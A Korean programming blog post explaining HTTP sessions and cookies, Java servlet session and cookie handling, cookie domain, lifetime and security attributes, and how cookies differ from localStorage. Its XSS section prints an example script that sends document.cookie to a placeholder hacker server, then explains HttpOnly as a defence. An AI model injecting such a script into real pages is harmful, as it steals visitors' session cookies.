티스토리 뷰

세션과 쿠키

지우 초이 2021. 4. 4. 06:41

HTTP Protocol

http protocol은 연결이 유지가 (connectless) 되지 않기 때문에, 상태가 없다(stateless).

응답을 받으면 연결을 끊기 때문에, 서버는 기존 request에서 무엇을 했는지 알 수 가 없다.

즉, 다시말해서 클라이언트의 현재 시점의 상태를 알 수 없다.

 

하지만 실제 웹 서비스를 사용하다보면,

장바구니 정보, 로그인 상태 유지 등 상태가 유지되는 웹사이트 기술이 분명히 존재하는것을 알 수 있다.

 

Session과 Cookie.

유저와 서버간의 상태를 유지할 수 있는 방법중에 세션과 쿠키가 있다.

 

- 세션 : 특정 시간동안( 예 : 30분) 동일한 클라이언트로부터 들어온 일련의 요청정보를 의미한다.

- 쿠키 : 서버측으로부터 데이터를 클라이언트의 위치에 저장시켜놓는것을 말한다.

 

A-1. Session - Session Tracking

site.iugaza.edu.ps/hmasry/files/Lab-8-Session-Tracking.pdf

Session은 동일한 클라이언트로부터 들어온 일련의 정보 요청을 (1) 서버가 구분하고,

(2) 서버 내부에 있는 세션 저장소에 해당하는 부분에서 상태를 관리하는 방식을 일컫는다.

각 세션마다 (3) 보통 30분의  저장의 기한을 가지고 있고, 그 이후가 되면 폐기된다.

 

https://tansfil.tistory.com/58about:blank

위의 그림에서 보면 알 수 있지만, 세션저장소는 서버쪽에 있다.

클라이언트가 본인의 상태를 원한다면, 서버쪽에서 데이터를 id등의 자신만의 unique한 값을 넘겨줘야한다.

그래야 서버가 어떤 클라이언트인지 구분할 수 있다.

 

이 값을 세션 키값이라고 하는데, 세션의 상태가 아닌, "세션 키 값"을 클라이언트에서 관리하기 위해서 다양한 방법이 존재한다.

세션을 찾는 과정이라고 해서 세션 트랙킹이라고도 일컫는다.

 

- 쿠키 (클라이언트쪽 브라우저 쿠키저장소에 session값을 넣어놓는다)

- hidden input (히든 인풋에 세션 아이디를 value로 주입시켜놓고 그것을 통해 요청을 받는다.)

- url re-writing (url을 세션아이디가 포함된 url로 변경시켜 보낸다.) 

 

사실 이런 값들은 노출안되면서 쓰는게 제일 좋으므로, 쿠키에다가 보통 놓고 쓰는것으로 알고있다.

A-2. Session의 장점

1. 서버쪽에 친화된 자료구조를 활용 가능하다.

세션은 서버쪽에 저장소가 있다. 따라서, 서버쪽에서 데이터를 열람/조회/수정/삭제등을 할 수 있어서, 서버쪽 로직 개발이 수월하다.

 

2. 클라이언트는 무조건 서버를 통해서 상태를 수정할 수 있다.

클라이언트는 상태 관리의 주체가 아니라, 키값만 가지고 있는거고 서버가 상태를 관리한다.

따라서 상태 자체에 대한 수정/조회 할려면 서버를 통해서 가야한다.  따라서, 클라이언트의 예측하지 못한 상태 변경에 대해서 안전한 방법이다.

A-3. Session의 단점.

1. 서버쪽에 저장해야 한다.

클라이언트의 데이터를 굳이 서버에서 관리한다. 따라서 서버의 리소스를 클라이언트의 상태로 채우게 된다.

서버의 리소스가 클라이언트의 리소스에 의해 부족할 수 있다.

 

2. 세션 역시 키값이 변조되거나, 탈취, 삭제 될 수 있습니다.

세션에 저장된 값은 여전히 서버에 머물지만, 서버에서 본인의 저장소에 접근하기 위한 id는 여전히 클라이언트에 의해 접근 가능합니다.

 

A-4. Java에서 세션을 통해 클라이언트와 통신하기

자바의 서블릿을 통해서 세션을 통해 통신을 하려고 한다면,

HttpSession session = request.getSession();

이렇게 세션 객체를 받아와야한다.

 

request에서 session을 얻는다고 해서, session은 request의 scope이 아니다!

session은 session scope (한 세션에만 저장하는 저장소)으로써, request의 스코프 (한 리퀘스트당에서만 공유하는 저장소) 와 별도의 스코프를 지원한다.

 

이때 getSession()이라는 메소드에는 false, true 등의 파라미터를 추가로 넣을 수 있게 오버로딩이 되어있는데,

 

- getSession()

- getSession(true)

는 현재 세션을 가져오고, 만약에 따로 해당클라이언트에 세션을 구성한게 없다면 세션을 구성한다.

 

- getSession(false)는 세션을 가져오는데, 세션이 없다면 따로 만들지 않고 null을 반환한다는 의미이다.

 

아래와 같이 세션에 저장해서 response를 보내면, 쿠키등의 처리를 알아서 해준다.

HttpSession session = request.getSession();
session.setAttribute("userId", "myname");

 

B-1. Cookie

앞에 Session에서 세션 키값을 쿠키에 저장한다고 했는데, 쿠키가 어떤것인지 알아보겠다.

 

쿠키는 이런 상태값들을 클라이언트쪽에 값을 저장하는 방식이다.

 

(1) 서버쪽에서는 쿠키라는 방식으로 브라우저에게 "상태 저장 요청"을 한다.

(2) 서버에서 쿠키의 표준에 맞게 저장요청이 들어오면, 브라우저의 실행 메모리 / 파일 시스템에 관련 쿠키 (상태) 정보를 저장한다.

(3) 브라우저에서 해당 도메인에 연결할 때 마다, HTTP 헤더에 쿠키의 데이터를 포함해서 던진다.

 

쿠키 표준 스펙이 있습니다.

 

HTTP 쿠키 - HTTP | MDN

HTTP 쿠키 HTTP 쿠키(웹 쿠키, 브라우저 쿠키)는 서버가 사용자의 웹 브라우저에 전송하는 작은 데이터 조각입니다. 브라우저는 그 데이터 조각들을 저장해 놓았다가, 동일한 서버에 재 요청 시 저

developer.mozilla.org

모질라를 통해서 어떻게 쿠키를 통해서 브라우저와 서버가 소통할 수 있는지 자세한 사항을 알아볼 수 있습니다.

위에서 언급되어있는 내용들을 아래에서 정리해보겠다.

 

B-2. Cookie 만들기

1) HTTP Response 헤더에 Set-Cookie로 name:value pair를 추가한다.

Set-Cookie: <cookie-name>=<cookie-value>

 

2) 브라우저는 이런 헤더를 받으면, 브라우저의 내부 시스템에 저장한다.

 

3)쿠키는 다양한 상태를 구분하기 위해 도메인별 관리된다. 

쿠키가 한번 저장되면, 브라우저는 저장하고있던 요청 도메인에 해당되는 쿠키를 모두 Request에 복사하여 붙인다.

 

GET /sample_page.html HTTP/1.1
Host: www.example.org
Cookie: yummy_cookie=choco; tasty_cookie=strawberry

B-3. Cookie 의 도메인, 라이프타임, 보안

도메인

* 쿠키는 하나의 도메인에만 종속됩니다.

Path나 Domain같은 속성을 활용해서 현재 도메인 뿐만 아니라, 현재 도메인에 기반한 서브도메인까지 확장해서 쿠키값을 전달할 수 있습니다. 

Path=/docs

하지만 완전히 관련이 없는 도메인에는 쿠키값을 보낼 수 없습니다.

 

 

 

라이프타임

* 쿠키도 라이프타임이 존재합니다. 라이프타임은 Expire나, max-age로 저장할 수 있습니다.

Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT;

Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT;

 

라이프타임에 대한 명시가 없으면 "세션 쿠키" 라는 항목으로 저장됩니다.

세션 쿠키의 끝은 브라우저마다 어떻게 정의하냐에 따라 다릅니다.

어떤 브라우저는 단순히 메모리에 저장하여 일정 기간동안만 유지하도록 하거나 브라우저가 꺼지면 사라지게 할 수 있습니다. 어떤 브라우저는 브라우저가 꺼져도 그 시간동은 계속 유지될 수 있도록 복원해줄 수 있습니다.

 

라이프타임에 대한 명시가 있으면 "일반 쿠키" 혹은 "영속 쿠키" 라는 항목으로 저장됩니다.

브라우저는 라이프타임 시간동안 쿠키를 정확하게 보관해야하는 책임을 가지고 있고, 그래서 보통 파일시스템에 저장해서 관리합니다.

 

보안

 

쿠키의 문제는 바로 클라이언트에 쉽게 접근될 수 있다는 점입니다.

자바스크립트의 document.cookie를 통해서 쿠키를 추가할수도, 쿠키를 가져올수도 있습니다.

물론 쿠키( + 세션데이터 도 포함입니다) 에 사용자의 중요 정보를 담으면 안됩니다.

하지만, 사소한 정보라도 외부로 유출되는것은 좋지않은 신호입니다.

 

가장 대표적인 예시가 XSS 공격입니다.

XSS는 취약점이 있는 서버에 악성 데이터를 포함시킨 후, 사용자의 브라우저가 악성 데이터를 실행하는 것입니다.

document.cookie라는 컨텍스트에서 바라보자면,

 

 

(1) 어떤 해커가 게시판 에디터에 아래의 코드와 같은것을 쓰고 글을 작성했다고 생각해봅시다.

<script> fetch('http://해커서버.com", { cookieData: document.cooke }) </script>

(2) 위의 코드 라인은 HTML처럼 일부처럼 보이지만, 사실 브라우저내의 쿠키를 탈취하려는 악성 데이터입니다.

만약 본인의 웹서버가 저 악성 코드를 제대로 대응하지 못하면 아마 DB에는 저 코드까지 같이 들어갈것입니다.

 

(3) 다른 유저가 저 글을 보려고하면 DB는 글 데이터를 가져와 뿌려줄겁니다.

그렇다면 브라우저 입장에서는 저 스크립트가 글이아닌 html의 일부로 생각할것입니다.

따라서 저 스크립트를 포함해서 처리를 시도합니다.

<html>
...
	<script> fetch('http://해커서버.com", { cookieData: document.cooke }) </script>
....
</html>

 

(4) 그럼 저 글을 보는 모든 유저들은 저 스크립트를 수행하게되고, 해커서버를 통해 본인 브라우저에 저장되어있는 모든 쿠키를 보내주게 됩니다.

 

 

이 시나리오에서 XSS를 막기 위한 여러가지 노력을 할 수 있지만, 쿠키와 관련된 것을 짚어보겠습니다.

쿠키를 셋팅할 때,  HttpOnly 속성을 추가하면 document.cookie에 노출되지 않습니다.

이 쿠키는 오직, HTTP 연결에서 전송될 때 유저가 아닌 브라우저단에서만 접근해서 보내주기 때문에, 이런 공격을 예방하는 한가지 방법이라고 할 수 있습니다.

 

Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT; Secure; HttpOnly

 

B-4. LocalStroage와의 차이

HTML5의 새로운 modeal browser spec 중에 하나인 localStorage와 비슷하게 느낄 수 있습니다.

물론 대체해서 사용할 수 있지만, 본디 목적은 다릅니다.

 

localStorage는 off-line web을 기준으로, 웹이 작동되지 않아도 브라우저를 통해 데이터를 영속적으로 저장하는 기술을 지향하고 있습니다.

쿠키는 단순하게 서버의 상태를 저장하는것을 의미합니다.

 

모질라에서는 쿠키는 서버 전송에서 매번 쿠키데이터가 붙어서 들어가기 때문에 전송에 쓸데없는 오버헤드가 붙는다고 합니다. 특히 이런 오버헤드는 상대적으로 느린 모바일 데이터 전송에서는 불리할 수 있습니다. 그래서 그 대안의 한가지로 localStroage를 추천하고 있습니다.

 

B-6. 쿠키의 단점.

1) 전송시 오버헤드가 매번 붙는다.

2) 쿠키를 차단하면 무용지물이다. 

3) 클라이언트에서 쉽게 접근 가능하다.

(크롬 개발자도구 application -> cooikes에서 확인한 티스토리에서 저장한 쿠키목록들..)

B-5. Java에서 쿠키 사용하기.

자바 서블릿을 통해서 쿠키를 사용하는것은 간단합니다.

new Cookie("key", "value")를 통해서 쿠키를 만들어 줍니다.

원하는 추가 데이터 (maxAge, secure, httponly, domain, path) 등은 이미 setter로 제공합니다.

 

마지막으로 , response.addCookie(cookie)를 통해서 response에 쿠키를 태워 보내면 됩니다.

 

request.getCookies();를 통해서 브라우저를 통해 넘어온 쿠키정보를 살펴볼 수 있습니다.

이 값은 따로 Map같이 키값으로 바로 조회할 수 있는게 아니라 Cookie[]의 배열로 넘어오기 때문에  직접 for-loop을 통해서 조회해줘야합니다.

'' 카테고리의 다른 글

DNS  (0) 2021.06.02
자바 backend 개발 시 URL 경로 설정.  (0) 2021.03.31
공지사항
최근에 올라온 글
최근에 달린 댓글
Total
Today
Yesterday
링크
TAG more
«   2024/04   »
1 2 3 4 5 6
7 8 9 10 11 12 13
14 15 16 17 18 19 20
21 22 23 24 25 26 27
28 29 30
글 보관함